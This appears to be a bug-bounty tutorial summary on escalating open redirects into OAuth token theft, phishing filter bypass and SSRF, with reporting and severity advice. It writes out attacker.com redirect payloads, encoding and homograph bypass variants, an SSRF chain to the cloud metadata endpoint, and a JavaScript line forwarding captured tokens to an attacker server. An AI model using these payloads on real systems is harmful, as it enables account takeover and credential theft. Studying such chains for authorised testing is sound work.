Open Redirect to Account Takeover — The Exploit Chain Most Hunters Miss in 2026

This article teaches security researchers how to escalate open redirect vulnerabilities into critical account takeover exploits by chaining them with OAuth flows, phishing filter bypasses, and server-side request forgery (SSRF). The article demonstrates that most bug hunters stop at confirming a standalone open redirect as Low severity, missing 100x higher payouts by spending twenty additional minutes testing whether the redirect chains into OAuth token theft or other high-impact vulnerabilities. Understanding these chains is essential because they represent some of the most consistent severity escalation paths in web application security that remain under-hunted.

• OAuth Token Theft via Redirect URI ManipulationWhen an OAuth server validates that redirect_uri starts with the target domain (e.g., target.com) but an open redirect exists on that domain, an attacker can craft a redirect_uri like https://target.com/redirect?url=https://attacker.com. The OAuth server's domain check passes, but the victim's authorization code and access token are forwarded to the attacker's server via the open redirect. The attacker then exchanges the captured authorization code for a full access token and gains complete authenticated API access as the victim.
• Discovery and Bypass Techniques for Open RedirectsCommon vulnerable parameters include url=, redirect=, return=, next=, continue=, goto=, and destination=, typically found in post-login redirects, logout flows, OAuth redirect_uri parameters, and email tracking links. When basic testing fails, the article documents six bypass techniques: protocol-relative URLs (//attacker.com), URL encoding (%2F%2Fattacker.com), subdomain tricks (target.com.attacker.com), URL fragments (target.com#attacker.com), double URL encoding (%252F), and Unicode homograph attacks using Cyrillic characters that visually match Latin letters.
• Phishing Filter Bypass via On-Domain RedirectsEmail security filters check link domains against reputation lists and pass links to trusted domains like target.com while blocking links to attacker.com. An open redirect on target.com allows attackers to craft phishing emails with links pointing to target.com/redirect?url=attacker.com/clone. The email passes technical filters and users see a trusted domain in hover previews, but the browser follows the redirect to the attacker's credential harvesting page. This amplifies phishing campaign effectiveness without requiring domain spoofing.
• SSRF Escalation via Server-Side Redirect FollowingWhen a target application makes server-side HTTP requests that follow redirects, an open redirect can chain into SSRF against internal services. If direct requests to internal IPs are blocked by allowlist validation but requests to target.com are allowed, an attacker can use https://target.com/fetch?url=https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/. The server fetches target.com (allowed), follows the 302 redirect to the metadata service (internal), and exposes cloud provider credentials—escalating from Low open redirect to Critical through IAM credential theft.
• OAuth Implicit Flow Fragment Token CaptureOAuth implicit flow tokens arrive as URL fragments (#access_token=...) which browsers do not send to servers in HTTP requests. The article explains that the non-obvious exploitation detail is using JavaScript (window.location = '/?'+document.location.hash.substr(1)) to convert the fragment into a query string, allowing an attacker's server to log the captured access token. Without this technique, the token remains in the fragment and never reaches the attacker's server logs.
• CVSS Scoring and Severity Escalation StrategyA standalone open redirect scores CVSS 3.0-5.0 (Low-Medium) and typically pays $150 in bug bounties as a phishing aid only. The same vulnerability chained into OAuth account takeover scores CVSS 8.0 (High) with potential Critical modifiers, paying $15,000 or more. For SSRF chains to cloud metadata, scores reach 9.8 depending on IAM role permissions. The article emphasizes that the redirect is the entry point; the chain determines actual impact and payout tier.
• Evidence Package for Critical ReportsThe article specifies that a Critical account takeover report requires five screenshots: the original OAuth request with redirect_uri, the modified redirect_uri accepted by the server, Burp Collaborator showing the captured auth code with timestamp, the token exchange request and response, and an authenticated API call proving account access. The Collaborator callback is non-repudiable proof—a timestamped, out-of-band HTTP request from the target's OAuth server containing the auth code in the URL, making triage disputes impossible.
• Common Redirect Parameters and Testing WorkflowThe discovery workflow involves logging in, checking post-login URLs for redirect parameters, testing logout flows, and searching Burp proxy history using regex patterns like (url|redirect|next|return|goto)=https?://. For each confirmed redirect, hunters should identify whether it is client-side or server-side, note the HTTP status code (301, 302, 307, meta refresh, or JavaScript), check if sensitive data (tokens, session IDs, email) is passed through the URL, and enumerate what OAuth or SSO flows exist on the same domain to chain into.

Bottom line: Open redirect findings that appear Low severity on initial testing frequently chain into Critical account takeover vulnerabilities when tested against OAuth flows, phishing filters, or SSRF endpoints—the difference between a $150 and a $15,000 bounty is methodical twenty-minute chaining before filing. Most hunters stop at confirming the redirect itself; the hunters who spend time testing chain potential and capturing non-repudiable Burp Collaborator evidence consistently exploit the highest-impa